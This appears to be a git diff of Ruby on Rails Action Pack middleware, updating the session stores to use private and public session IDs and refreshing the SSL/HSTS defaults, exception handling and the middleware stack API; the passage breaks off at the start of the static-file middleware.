diff --git a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
index d9f018c8ac5fb..bea38110d6055 100644
--- a/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/abstract_store.rb
@@ -1,12 +1,15 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "rack/utils"
 require "rack/request"
 require "rack/session/abstract/id"
 require "action_dispatch/middleware/cookies"
-require "action_dispatch/request/session"
 
 module ActionDispatch
   module Session
-    class SessionRestoreError < StandardError #:nodoc:
+    class SessionRestoreError < StandardError # :nodoc:
       def initialize
         super("Session contains objects whose class definition isn't available.\n" \
           "Remember to require the classes for all objects kept in the session.\n" \
@@ -28,7 +31,6 @@ def generate_sid
       end
 
     private
-
       def initialize_sid # :doc:
         @default_options.delete(:sidbits)
         @default_options.delete(:secure_random)
@@ -53,7 +55,7 @@ def stale_session_check!
       rescue ArgumentError => argument_error
         if argument_error.message =~ %r{undefined class/module ([\w:]*\w)}
           begin
-            # Note that the regexp does not allow $1 to end with a ':'
+            # Note that the regexp does not allow $1 to end with a ':'.
             $1.constantize
           rescue LoadError, NameError
             raise ActionDispatch::Session::SessionRestoreError
@@ -66,6 +68,11 @@ def stale_session_check!
     end
 
     module SessionObject # :nodoc:
+      def commit_session(req, res)
+        req.commit_csrf_token
+        super(req, res)
+      end
+
       def prepare_session(req)
         Request::Session.create(self, req, @default_options)
       end
@@ -81,8 +88,22 @@ class AbstractStore < Rack::Session::Abstract::Persisted
       include SessionObject
 
       private
+        def set_cookie(request, response, cookie)
+          request.cookie_jar[key] = cookie
+        end
+    end
 
-        def set_cookie(request, session_id, cookie)
+    class AbstractSecureStore < Rack::Session::Abstract::PersistedSecure
+      include Compatibility
+      include StaleSessionCheck
+      include SessionObject
+
+      def generate_sid
+        Rack::Session::SessionId.new(super)
+      end
+
+      private
+        def set_cookie(request, response, cookie)
           request.cookie_jar[key] = cookie
         end
     end
diff --git a/actionpack/lib/action_dispatch/middleware/session/cache_store.rb b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
index 71274bc13ac17..6c6e95b66e998 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb
@@ -1,25 +1,39 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch/middleware/session/abstract_store"
 
 module ActionDispatch
   module Session
-    # A session store that uses an ActiveSupport::Cache::Store to store the sessions. This store is most useful
-    # if you don't store critical data in your sessions and you don't need them to live for extended periods
-    # of time.
+    # # Action Dispatch Session CacheStore
+    #
+    # A session store that uses an ActiveSupport::Cache::Store to store the
+    # sessions. This store is most useful if you don't store critical data in your
+    # sessions and you don't need them to live for extended periods of time.
+    #
+    # #### Options
+    # *   `cache`         - The cache to use. If it is not specified, `Rails.cache`
+    #     will be used.
+    # *   `expire_after`  - The length of time a session will be stored before
+    #     automatically expiring. By default, the `:expires_in` option of the cache
+    #     is used.
+    # *   `check_collisions`  - Check if newly generated session ids aren't already in use.
+    #     If for some reason 128 bits of randomness aren't considered secure enough to avoid
+    #     collisions, this option can be enabled to ensure newly generated ids aren't in use.
+    #     By default, it is set to `false` to avoid additional cache write operations.
     #
-    # ==== Options
-    # * <tt>cache</tt>         - The cache to use. If it is not specified, <tt>Rails.cache</tt> will be used.
-    # * <tt>expire_after</tt>  - The length of time a session will be stored before automatically expiring.
-    #   By default, the <tt>:expires_in</tt> option of the cache is used.
-    class CacheStore < AbstractStore
+    class CacheStore < AbstractSecureStore
       def initialize(app, options = {})
         @cache = options[:cache] || Rails.cache
         options[:expire_after] ||= @cache.options[:expires_in]
+        @check_collisions = options[:check_collisions] || false
         super
       end
 
       # Get a session from the cache.
       def find_session(env, sid)
-        unless sid && (session = @cache.read(cache_key(sid)))
+        unless sid && (session = get_session_with_fallback(sid))
           sid, session = generate_sid, {}
         end
         [sid, session]
@@ -27,7 +41,7 @@ def find_session(env, sid)
 
       # Set a session in the cache.
       def write_session(env, sid, session, options)
-        key = cache_key(sid)
+        key = cache_key(sid.private_id)
         if session
           @cache.write(key, session, expires_in: options[:expire_after])
         else
@@ -38,14 +52,31 @@ def write_session(env, sid, session, options)
 
       # Remove a session from the cache.
       def delete_session(env, sid, options)
-        @cache.delete(cache_key(sid))
+        @cache.delete(cache_key(sid.private_id))
+        @cache.delete(cache_key(sid.public_id))
         generate_sid
       end
 
       private
         # Turn the session id into a cache key.
-        def cache_key(sid)
-          "_session_id:#{sid}"
+        def cache_key(id)
+          "_session_id:#{id}"
+        end
+
+        def get_session_with_fallback(sid)
+          @cache.read(cache_key(sid.private_id)) || @cache.read(cache_key(sid.public_id))
+        end
+
+        def generate_sid
+          if @check_collisions
+            loop do
+              sid = super
+              key = cache_key(sid.private_id)
+              break sid if @cache.write(key, {}, unless_exist: true, expires_in: default_options[:expire_after])
+            end
+          else
+            super
+          end
         end
     end
   end
diff --git a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
index 57d325a9d8b23..191ab27624270 100644
--- a/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/cookie_store.rb
@@ -1,76 +1,76 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/hash/keys"
 require "action_dispatch/middleware/session/abstract_store"
 require "rack/session/cookie"
 
 module ActionDispatch
   module Session
-    # This cookie-based session store is the Rails default. It is
-    # dramatically faster than the alternatives.
+    # # Action Dispatch Session CookieStore
     #
-    # Sessions typically contain at most a user_id and flash message; both fit
-    # within the 4K cookie size limit. A CookieOverflow exception is raised if
-    # you attempt to store more than 4K of data.
+    # This cookie-based session store is the Rails default. It is dramatically
+    # faster than the alternatives.
     #
-    # The cookie jar used for storage is automatically configured to be the
-    # best possible option given your application's configuration.
+    # Sessions typically contain at most a user ID and flash message; both fit
+    # within the 4096 bytes cookie size limit. A `CookieOverflow` exception is
+    # raised if you attempt to store more than 4096 bytes of data.
     #
-    # If you only have secret_token set, your cookies will be signed, but
-    # not encrypted. This means a user cannot alter their +user_id+ without
-    # knowing your app's secret key, but can easily read their +user_id+. This
-    # was the default for Rails 3 apps.
+    # The cookie jar used for storage is automatically configured to be the best
+    # possible option given your application's configuration.
     #
-    # If you have secret_key_base set, your cookies will be encrypted. This
-    # goes a step further than signed cookies in that encrypted cookies cannot
+    # Your cookies will be encrypted using your application's `secret_key_base`.
+    # This goes a step further than signed cookies in that encrypted cookies cannot
     # be altered or read by users. This is the default starting in Rails 4.
     #
-    # If you have both secret_token and secret_key_base set, your cookies will
-    # be encrypted, and signed cookies generated by Rails 3 will be
-    # transparently read and encrypted to provide a smooth upgrade path.
-    #
-    # Configure your session store in config/initializers/session_store.rb:
+    # Configure your session store in an initializer:
     #
-    #   Rails.application.config.session_store :cookie_store, key: '_your_app_session'
+    #     Rails.application.config.session_store :cookie_store, key: '_your_app_session'
     #
-    # Configure your secret key in config/secrets.yml:
+    # In the development and test environments your application's `secret_key_base`
+    # is generated by Rails and stored in a temporary file in
+    # `tmp/local_secret.txt`. In all other environments, it is stored encrypted in
+    # the `config/credentials.yml.enc` file.
     #
-    #   development:
-    #     secret_key_base: 'secret key'
+    # If your application was not updated to Rails 5.2 defaults, the
+    # `secret_key_base` will be found in the old `config/secrets.yml` file.
     #
-    # To generate a secret key for an existing application, run `rails secret`.
+    # Note that changing your `secret_key_base` will invalidate all existing
+    # session. Additionally, you should take care to make sure you are not relying
+    # on the ability to decode signed cookies generated by your app in external
+    # applications or JavaScript before changing it.
     #
-    # If you are upgrading an existing Rails 3 app, you should leave your
-    # existing secret_token in place and simply add the new secret_key_base.
-    # Note that you should wait to set secret_key_base until you have 100% of
-    # your userbase on Rails 4 and are reasonably sure you will not need to
-    # rollback to Rails 3. This is because cookies signed based on the new
-    # secret_key_base in Rails 4 are not backwards compatible with Rails 3.
-    # You are free to leave your existing secret_token in place, not set the
-    # new secret_key_base, and ignore the deprecation warnings until you are
-    # reasonably sure that your upgrade is otherwise complete. Additionally,
-    # you should take care to make sure you are not relying on the ability to
-    # decode signed cookies generated by your app in external applications or
-    # JavaScript before upgrading.
+    # Because CookieStore extends `Rack::Session::Abstract::Persisted`, many of the
+    # options described there can be used to customize the session cookie that is
+    # generated. For example:
     #
-    # Note that changing the secret key will invalidate all existing sessions!
-    #
-    # Because CookieStore extends Rack::Session::Abstract::Persisted, many of the
-    # options described there can be used to customize the session cookie that
-    # is generated. For example:
-    #
-    #   Rails.application.config.session_store :cookie_store, expire_after: 14.days
+    #     Rails.application.config.session_store :cookie_store, expire_after: 14.days
     #
     # would set the session cookie to expire automatically 14 days after creation.
-    # Other useful options include <tt>:key</tt>, <tt>:secure</tt> and
-    # <tt>:httponly</tt>.
-    class CookieStore < AbstractStore
+    # Other useful options include `:key`, `:secure`, `:httponly`, and `:same_site`.
+    class CookieStore < AbstractSecureStore
+      class SessionId < ActiveSupport::Delegation::DelegateClass(Rack::Session::SessionId)
+        attr_reader :cookie_value
+
+        def initialize(session_id, cookie_value = {})
+          super(session_id)
+          @cookie_value = cookie_value
+        end
+      end
+
+      DEFAULT_SAME_SITE = proc { |request| request.cookies_same_site_protection } # :nodoc:
+
       def initialize(app, options = {})
-        super(app, options.merge!(cookie_only: true))
+        options[:cookie_only] = true
+        options[:same_site] = DEFAULT_SAME_SITE if !options.key?(:same_site)
+        super
       end
 
       def delete_session(req, session_id, options)
         new_sid = generate_sid unless options[:drop]
         # Reset hash and Assign the new session id
-        req.set_header("action_dispatch.request.unsigned_session_cookie", new_sid ? { "session_id" => new_sid } : {})
+        req.set_header("action_dispatch.request.unsigned_session_cookie", new_sid ? { "session_id" => new_sid.public_id } : {})
         new_sid
       end
 
@@ -78,15 +78,15 @@ def load_session(req)
         stale_session_check! do
           data = unpacked_cookie_data(req)
           data = persistent_session_id!(data)
-          [data["session_id"], data]
+          [Rack::Session::SessionId.new(data["session_id"]), data]
         end
       end
 
       private
-
         def extract_session_id(req)
           stale_session_check! do
-            unpacked_cookie_data(req)["session_id"]
+            sid = unpacked_cookie_data(req)["session_id"]
+            sid && Rack::Session::SessionId.new(sid)
           end
         end
 
@@ -104,13 +104,13 @@ def unpacked_cookie_data(req)
 
         def persistent_session_id!(data, sid = nil)
           data ||= {}
-          data["session_id"] ||= sid || generate_sid
+          data["session_id"] ||= sid || generate_sid.public_id
           data
         end
 
         def write_session(req, sid, session_data, options)
-          session_data["session_id"] = sid
-          session_data
+          session_data["session_id"] = sid.public_id
+          SessionId.new(sid, session_data)
         end
 
         def set_cookie(request, session_id, cookie)
diff --git a/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb b/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb
index ee2b1f26ad6ba..2c86799568774 100644
--- a/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb
+++ b/actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb
@@ -1,17 +1,25 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch/middleware/session/abstract_store"
 begin
   require "rack/session/dalli"
 rescue LoadError => e
-  $stderr.puts "You don't have dalli installed in your application. Please add it to your Gemfile and run bundle install"
+  warn "You don't have dalli installed in your application. Please add it to your Gemfile and run bundle install"
   raise e
 end
 
 module ActionDispatch
   module Session
+    # # Action Dispatch Session MemCacheStore
+    #
     # A session store that uses MemCache to implement storage.
     #
-    # ==== Options
-    # * <tt>expire_after</tt>  - The length of time a session will be stored before automatically expiring.
+    # #### Options
+    # *   `expire_after`  - The length of time a session will be stored before
+    #     automatically expiring.
+    #
     class MemCacheStore < Rack::Session::Dalli
       include Compatibility
       include StaleSessionCheck
diff --git a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
index 90f26a1c33dd1..d07f4003b104f 100644
--- a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
@@ -1,60 +1,88 @@
-require "action_dispatch/http/request"
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch/middleware/exception_wrapper"
 
 module ActionDispatch
-  # This middleware rescues any exception returned by the application
-  # and calls an exceptions app that will wrap it in a format for the end user.
+  # # Action Dispatch ShowExceptions
+  #
+  # This middleware rescues any exception returned by the application and calls an
+  # exceptions app that will wrap it in a format for the end user.
+  #
+  # The exceptions app should be passed as a parameter on initialization of
+  # `ShowExceptions`. Every time there is an exception, `ShowExceptions` will
+  # store the exception in `env["action_dispatch.exception"]`, rewrite the
+  # `PATH_INFO` to the exception status code, and call the Rack app.
   #
-  # The exceptions app should be passed as parameter on initialization
-  # of ShowExceptions. Every time there is an exception, ShowExceptions will
-  # store the exception in env["action_dispatch.exception"], rewrite the
-  # PATH_INFO to the exception status code and call the rack app.
+  # In Rails applications, the exceptions app can be configured with
+  # `config.exceptions_app`, which defaults to ActionDispatch::PublicExceptions.
   #
-  # If the application returns a "X-Cascade" pass response, this middleware
-  # will send an empty response as result with the correct status code.
-  # If any exception happens inside the exceptions app, this middleware
-  # catches the exceptions and returns a FAILSAFE_RESPONSE.
+  # If the application returns a response with the `X-Cascade` header set to
+  # `"pass"`, this middleware will send an empty response as a result with the
+  # correct status code. If any exception happens inside the exceptions app, this
+  # middleware catches the exceptions and returns a failsafe response.
   class ShowExceptions
-    FAILSAFE_RESPONSE = [500, { "Content-Type" => "text/plain" },
-      ["500 Internal Server Error\n" \
-       "If you are the administrator of this website, then please read this web " \
-       "application's log file and/or the web server's log file to find out what " \
-       "went wrong."]]
-
     def initialize(app, exceptions_app)
       @app = app
       @exceptions_app = exceptions_app
     end
 
     def call(env)
-      request = ActionDispatch::Request.new env
       @app.call(env)
     rescue Exception => exception
-      if request.show_exceptions?
-        render_exception(request, exception)
+      request = ActionDispatch::Request.new env
+      backtrace_cleaner = request.get_header("action_dispatch.backtrace_cleaner")
+      wrapper = ExceptionWrapper.new(backtrace_cleaner, exception)
+      request.set_header "action_dispatch.exception", wrapper.unwrapped_exception
+      request.set_header "action_dispatch.report_exception", !wrapper.rescue_response?
+
+      if wrapper.show?(request)
+        render_exception(request.dup, wrapper)
       else
         raise exception
       end
     end
 
     private
-
-      def render_exception(request, exception)
-        backtrace_cleaner = request.get_header "action_dispatch.backtrace_cleaner"
-        wrapper = ExceptionWrapper.new(backtrace_cleaner, exception)
-        status  = wrapper.status_code
-        request.set_header "action_dispatch.exception", wrapper.exception
+      def render_exception(request, wrapper)
+        status = wrapper.status_code
         request.set_header "action_dispatch.original_path", request.path_info
+        request.set_header "action_dispatch.original_request_method", request.raw_request_method
+        fallback_to_html_format_if_invalid_mime_type(request)
         request.path_info = "/#{status}"
+        request.request_method = "GET"
         response = @exceptions_app.call(request.env)
-        response[1]["X-Cascade"] == "pass" ? pass_response(status) : response
+        response[1][Constants::X_CASCADE] == "pass" ? pass_response(status) : response
       rescue Exception => failsafe_error
         $stderr.puts "Error during failsafe response: #{failsafe_error}\n  #{failsafe_error.backtrace * "\n  "}"
-        FAILSAFE_RESPONSE
+
+        [500, { Rack::CONTENT_TYPE => "text/plain; charset=utf-8" },
+          ["500 Internal Server Error\n" \
+          "If you are the administrator of this website, then please read this web " \
+          "application's log file and/or the web server's log file to find out what " \
+          "went wrong."]]
+      end
+
+      def fallback_to_html_format_if_invalid_mime_type(request)
+        # If the MIME type for the request is invalid then the @exceptions_app may not
+        # be able to handle it. To make it easier to handle, we switch to HTML.
+        begin
+          request.content_mime_type
+        rescue ActionDispatch::Http::MimeNegotiation::InvalidType
+          request.set_header "CONTENT_TYPE", "text/html"
+        end
+
+        begin
+          request.formats
+        rescue ActionDispatch::Http::MimeNegotiation::InvalidType
+          request.set_header "HTTP_ACCEPT", "text/html"
+        end
       end
 
       def pass_response(status)
-        [status, { "Content-Type" => "text/html; charset=#{Response.default_charset}", "Content-Length" => "0" }, []]
+        [status, { Rack::CONTENT_TYPE => "text/html; charset=#{Response.default_charset}",
+                  Rack::CONTENT_LENGTH => "0" }, []]
       end
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/ssl.rb b/actionpack/lib/action_dispatch/middleware/ssl.rb
index 557721c301bf9..6a1146adf9627 100644
--- a/actionpack/lib/action_dispatch/middleware/ssl.rb
+++ b/actionpack/lib/action_dispatch/middleware/ssl.rb
@@ -1,54 +1,79 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
-  # This middleware is added to the stack when `config.force_ssl = true`, and is passed
-  # the options set in `config.ssl_options`. It does three jobs to enforce secure HTTP
-  # requests:
-  #
-  #   1. TLS redirect: Permanently redirects http:// requests to https://
-  #      with the same URL host, path, etc. Enabled by default. Set `config.ssl_options`
-  #      to modify the destination URL
-  #      (e.g. `redirect: { host: "secure.widgets.com", port: 8080 }`), or set
-  #      `redirect: false` to disable this feature.
-  #
-  #   2. Secure cookies: Sets the `secure` flag on cookies to tell browsers they
-  #      mustn't be sent along with http:// requests. Enabled by default. Set
-  #      `config.ssl_options` with `secure_cookies: false` to disable this feature.
-  #
-  #   3. HTTP Strict Transport Security (HSTS): Tells the browser to remember
-  #      this site as TLS-only and automatically redirect non-TLS requests.
-  #      Enabled by default. Configure `config.ssl_options` with `hsts: false` to disable.
-  #
-  # Set `config.ssl_options` with `hsts: { … }` to configure HSTS:
-  #   * `expires`: How long, in seconds, these settings will stick. The minimum
-  #     required to qualify for browser preload lists is `18.weeks`. Defaults to
-  #     `180.days` (recommended).
-  #   * `subdomains`: Set to `true` to tell the browser to apply these settings
-  #     to all subdomains. This protects your cookies from interception by a
-  #     vulnerable site on a subdomain. Defaults to `true`.
-  #   * `preload`: Advertise that this site may be included in browsers'
-  #     preloaded HSTS lists. HSTS protects your site on every visit *except the
-  #     first visit* since it hasn't seen your HSTS header yet. To close this
-  #     gap, browser vendors include a baked-in list of HSTS-enabled sites.
-  #     Go to https://hstspreload.appspot.com to submit your site for inclusion.
-  #     Defaults to `false`.
-  #
-  # To turn off HSTS, omitting the header is not enough. Browsers will remember the
-  # original HSTS directive until it expires. Instead, use the header to tell browsers to
-  # expire HSTS immediately. Setting `hsts: false` is a shortcut for
-  # `hsts: { expires: 0 }`.
-  #
-  # Requests can opt-out of redirection with `exclude`:
-  #
-  #    config.ssl_options = { redirect: { exclude: -> request { request.path =~ /healthcheck/ } } }
+  # # Action Dispatch SSL
+  #
+  # This middleware is added to the stack when `config.force_ssl = true`, and is
+  # passed the options set in `config.ssl_options`. It does three jobs to enforce
+  # secure HTTP requests:
+  #
+  # 1.  **TLS redirect**: Permanently redirects `http://` requests to `https://`
+  #     with the same URL host, path, etc. Enabled by default. Set
+  #     `config.ssl_options` to modify the destination URL:
+  #
+  #         config.ssl_options = { redirect: { host: "secure.widgets.com", port: 8080 }`
+  #
+  #     Or set `redirect: false` to disable redirection.
+  #
+  #     Requests can opt-out of redirection with `exclude`:
+  #
+  #         config.ssl_options = { redirect: { exclude: -> request { request.path == "/up" } } }
+  #
+  #     Cookies will not be flagged as secure for excluded requests.
+  #
+  #     When proxying through a load balancer that terminates SSL, the forwarded
+  #     request will appear as though it's HTTP instead of HTTPS to the application.
+  #     This makes redirects and cookie security target HTTP instead of HTTPS.
+  #     To make the server assume that the proxy already terminated SSL, and
+  #     that the request really is HTTPS, set `config.assume_ssl` to `true`:
+  #
+  #         config.assume_ssl = true
+  #
+  # 2.  **Secure cookies**: Sets the `secure` flag on cookies to tell browsers
+  #     they must not be sent along with `http://` requests. Enabled by default.
+  #     Set `config.ssl_options` with `secure_cookies: false` to disable this
+  #     feature.
+  #
+  # 3.  **HTTP Strict Transport Security (HSTS)**: Tells the browser to remember
+  #     this site as TLS-only and automatically redirect non-TLS requests. Enabled
+  #     by default. Configure `config.ssl_options` with `hsts: false` to disable.
+  #
+  #     Set `config.ssl_options` with `hsts: { ... }` to configure HSTS:
+  #
+  #     *   `expires`: How long, in seconds, these settings will stick. The
+  #         minimum required to qualify for browser preload lists is 1 year.
+  #         Defaults to 2 years (recommended).
+  #
+  #     *   `subdomains`: Set to `true` to tell the browser to apply these
+  #         settings to all subdomains. This protects your cookies from
+  #         interception by a vulnerable site on a subdomain. Defaults to `true`.
+  #
+  #     *   `preload`: Advertise that this site may be included in browsers'
+  #         preloaded HSTS lists. HSTS protects your site on every visit *except
+  #         the first visit* since it hasn't seen your HSTS header yet. To close
+  #         this gap, browser vendors include a baked-in list of HSTS-enabled
+  #         sites. Go to https://hstspreload.org to submit your site for
+  #         inclusion. Defaults to `false`.
+  #
+  #
+  #     To turn off HSTS, omitting the header is not enough. Browsers will
+  #     remember the original HSTS directive until it expires. Instead, use the
+  #     header to tell browsers to expire HSTS immediately. Setting `hsts: false`
+  #     is a shortcut for `hsts: { expires: 0 }`.
+  #
   class SSL
-    # Default to 180 days, the low end for https://www.ssllabs.com/ssltest/
-    # and greater than the 18-week requirement for browser preload lists.
-    HSTS_EXPIRES_IN = 15552000
+    # :stopdoc: Default to 2 years as recommended on hstspreload.org.
+    HSTS_EXPIRES_IN = 63072000
+
+    PERMANENT_REDIRECT_REQUEST_METHODS = %w[GET HEAD] # :nodoc:
 
     def self.default_hsts_options
       { expires: HSTS_EXPIRES_IN, subdomains: true, preload: false }
     end
 
-    def initialize(app, redirect: {}, hsts: {}, secure_cookies: true)
+    def initialize(app, redirect: {}, hsts: {}, secure_cookies: true, ssl_default_redirect_status: nil)
       @app = app
 
       @redirect = redirect
@@ -57,6 +82,7 @@ def initialize(app, redirect: {}, hsts: {}, secure_cookies: true)
       @secure_cookies = secure_cookies
 
       @hsts_header = build_hsts_header(normalize_hsts_options(hsts))
+      @ssl_default_redirect_status = ssl_default_redirect_status
     end
 
     def call(env)
@@ -65,7 +91,7 @@ def call(env)
       if request.ssl?
         @app.call(env).tap do |status, headers, body|
           set_hsts_header! headers
-          flag_cookies_as_secure! headers if @secure_cookies
+          flag_cookies_as_secure! headers if @secure_cookies && !@exclude.call(request)
         end
       else
         return redirect_to_https request unless @exclude.call(request)
@@ -75,13 +101,13 @@ def call(env)
 
     private
       def set_hsts_header!(headers)
-        headers["Strict-Transport-Security".freeze] ||= @hsts_header
+        headers[Constants::STRICT_TRANSPORT_SECURITY] ||= @hsts_header
       end
 
       def normalize_hsts_options(options)
         case options
-        # Explicitly disabling HSTS clears the existing setting from browsers
-        # by setting expiry to 0.
+        # Explicitly disabling HSTS clears the existing setting from browsers by setting
+        # expiry to 0.
         when false
           self.class.default_hsts_options.merge(expires: 0)
         # Default to enabled, with default options.
@@ -92,38 +118,50 @@ def normalize_hsts_options(options)
         end
       end
 
-      # http://tools.ietf.org/html/rfc6797#section-6.1
+      # https://tools.ietf.org/html/rfc6797#section-6.1
       def build_hsts_header(hsts)
-        value = "max-age=#{hsts[:expires].to_i}"
+        value = +"max-age=#{hsts[:expires].to_i}"
         value << "; includeSubDomains" if hsts[:subdomains]
         value << "; preload" if hsts[:preload]
         value
       end
 
       def flag_cookies_as_secure!(headers)
-        if cookies = headers["Set-Cookie".freeze]
-          cookies = cookies.split("\n".freeze)
+        cookies = headers[Rack::SET_COOKIE]
+        return unless cookies
 
-          headers["Set-Cookie".freeze] = cookies.map { |cookie|
-            if cookie !~ /;\s*secure\s*(;|$)/i
+        if Gem::Version.new(Rack::RELEASE) < Gem::Version.new("3")
+          cookies = cookies.split("\n")
+          headers[Rack::SET_COOKIE] = cookies.map { |cookie|
+            if !/;\s*secure\s*(;|$)/i.match?(cookie)
+              "#{cookie}; secure"
+            else
+              cookie
+            end
+          }.join("\n")
+        else
+          headers[Rack::SET_COOKIE] = Array(cookies).map do |cookie|
+            if !/;\s*secure\s*(;|$)/i.match?(cookie)
               "#{cookie}; secure"
             else
               cookie
             end
-          }.join("\n".freeze)
+          end
         end
       end
 
       def redirect_to_https(request)
         [ @redirect.fetch(:status, redirection_status(request)),
-          { "Content-Type" => "text/html",
-            "Location" => https_location_for(request) },
-          @redirect.fetch(:body, []) ]
+          { Rack::CONTENT_TYPE => "text/html; charset=utf-8",
+            Constants::LOCATION => https_location_for(request) },
+          (@redirect[:body] || []) ]
       end
 
       def redirection_status(request)
-        if request.get? || request.head?
+        if PERMANENT_REDIRECT_REQUEST_METHODS.include?(request.raw_request_method)
           301 # Issue a permanent redirect via a GET request.
+        elsif @ssl_default_redirect_status
+          @ssl_default_redirect_status
         else
           307 # Issue a fresh request redirect to preserve the HTTP method.
         end
@@ -133,7 +171,7 @@ def https_location_for(request)
         host = @redirect[:host] || request.host
         port = @redirect[:port] || request.port
 
-        location = "https://#{host}"
+        location = +"https://#{host}"
         location << ":#{port}" if port != 80 && port != 443
         location << request.fullpath
         location
diff --git a/actionpack/lib/action_dispatch/middleware/stack.rb b/actionpack/lib/action_dispatch/middleware/stack.rb
index 6949b31e758e1..fa4a470a3a4d2 100644
--- a/actionpack/lib/action_dispatch/middleware/stack.rb
+++ b/actionpack/lib/action_dispatch/middleware/stack.rb
@@ -1,7 +1,16 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/inflector/methods"
 require "active_support/dependencies"
 
 module ActionDispatch
+  # # Action Dispatch MiddlewareStack
+  #
+  # Read more about [Rails middleware
+  # stack](https://guides.rubyonrails.org/rails_on_rack.html#action-dispatcher-middleware-stack)
+  # in the guides.
   class MiddlewareStack
     class Middleware
       attr_reader :args, :block, :klass
@@ -18,13 +27,13 @@ def ==(middleware)
         case middleware
         when Middleware
           klass == middleware.klass
-        when Class
+        when Module
           klass == middleware
         end
       end
 
       def inspect
-        if klass.is_a?(Class)
+        if klass.is_a?(Module)
           klass.to_s
         else
           klass.class.to_s
@@ -34,6 +43,30 @@ def inspect
       def build(app)
         klass.new(app, *args, &block)
       end
+
+      def build_instrumented(app)
+        InstrumentationProxy.new(build(app), inspect)
+      end
+    end
+
+    # This class is used to instrument the execution of a single middleware. It
+    # proxies the `call` method transparently and instruments the method call.
+    class InstrumentationProxy
+      EVENT_NAME = "process_middleware.action_dispatch"
+
+      def initialize(middleware, class_name)
+        @middleware = middleware
+
+        @payload = {
+          middleware: class_name,
+        }
+      end
+
+      def call(env)
+        ActiveSupport::Notifications.instrument(EVENT_NAME, @payload) do
+          @middleware.call(env)
+        end
+      end
     end
 
     include Enumerable
@@ -45,8 +78,8 @@ def initialize(*args)
       yield(self) if block_given?
     end
 
-    def each
-      @middlewares.each { |x| yield x }
+    def each(&block)
+      @middlewares.each(&block)
     end
 
     def size
@@ -64,6 +97,7 @@ def [](i)
     def unshift(klass, *args, &block)
       middlewares.unshift(build_middleware(klass, args, block))
     end
+    ruby2_keywords(:unshift)
 
     def initialize_copy(other)
       self.middlewares = other.middlewares.dup
@@ -73,6 +107,7 @@ def insert(index, klass, *args, &block)
       index = assert_index(index, :before)
       middlewares.insert(index, build_middleware(klass, args, block))
     end
+    ruby2_keywords(:insert)
 
     alias_method :insert_before, :insert
 
@@ -80,29 +115,68 @@ def insert_after(index, *args, &block)
       index = assert_index(index, :after)
       insert(index + 1, *args, &block)
     end
+    ruby2_keywords(:insert_after)
 
     def swap(target, *args, &block)
       index = assert_index(target, :before)
       insert(index, *args, &block)
       middlewares.delete_at(index + 1)
     end
+    ruby2_keywords(:swap)
 
+    # Deletes a middleware from the middleware stack.
+    #
+    # Returns the array of middlewares not including the deleted item, or returns
+    # nil if the target is not found.
     def delete(target)
-      middlewares.delete_if { |m| m.klass == target }
+      middlewares.reject! { |m| m.name == target.name }
+    end
+
+    # Deletes a middleware from the middleware stack.
+    #
+    # Returns the array of middlewares not including the deleted item, or raises
+    # `RuntimeError` if the target is not found.
+    def delete!(target)
+      delete(target) || (raise "No such middleware to remove: #{target.inspect}")
+    end
+
+    def move(target, source)
+      source_index = assert_index(source, :before)
+      source_middleware = middlewares.delete_at(source_index)
+
+      target_index = assert_index(target, :before)
+      middlewares.insert(target_index, source_middleware)
+    end
+
+    alias_method :move_before, :move
+
+    def move_after(target, source)
+      source_index = assert_index(source, :after)
+      source_middleware = middlewares.delete_at(source_index)
+
+      target_index = assert_index(target, :after)
+      middlewares.insert(target_index + 1, source_middleware)
     end
 
     def use(klass, *args, &block)
       middlewares.push(build_middleware(klass, args, block))
     end
+    ruby2_keywords(:use)
 
-    def build(app = Proc.new)
-      middlewares.freeze.reverse.inject(app) { |a, e| e.build(a) }
+    def build(app = nil, &block)
+      instrumenting = ActiveSupport::Notifications.notifier.listening?(InstrumentationProxy::EVENT_NAME)
+      middlewares.freeze.reverse.inject(app || block) do |a, e|
+        if instrumenting
+          e.build_instrumented(a)
+        else
+          e.build(a)
+        end
+      end
     end
 
     private
-
       def assert_index(index, where)
-        i = index.is_a?(Integer) ? index : middlewares.index { |m| m.klass == index }
+        i = index.is_a?(Integer) ? index : index_of(index)
         raise "No such middleware to insert #{where}: #{index.inspect}" unless i
         i
       end
@@ -110,5 +184,11 @@ def assert_index(index, where)
       def build_middleware(klass, args, block)
         Middleware.new(klass, args, block)
       end
+
+      def index_of(klass)
+        middlewares.index do |m|
+          m.name == klass.name
+        end
+      end
   end
 end
diff --git a/actionpack/lib/action_dispatch/middleware/static.rb b/actionpack/lib/action_dispatch/middleware/static.rb
index 5d10129d21773..d2bf29c1e8894 100644
--- a/actionpack/lib/action_dispatch/middleware/static.rb
+++ b/actionpack/lib/action_dispatch/middleware/static.rb
@@ -1,128 +1,192 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "rack/utils"
-require "active_support/core_ext/uri"
 
 module ActionDispatch
-  # This middleware returns a file's contents from disk in the body response.
-  # When initialized, it can accept optional HTTP headers, which will be set
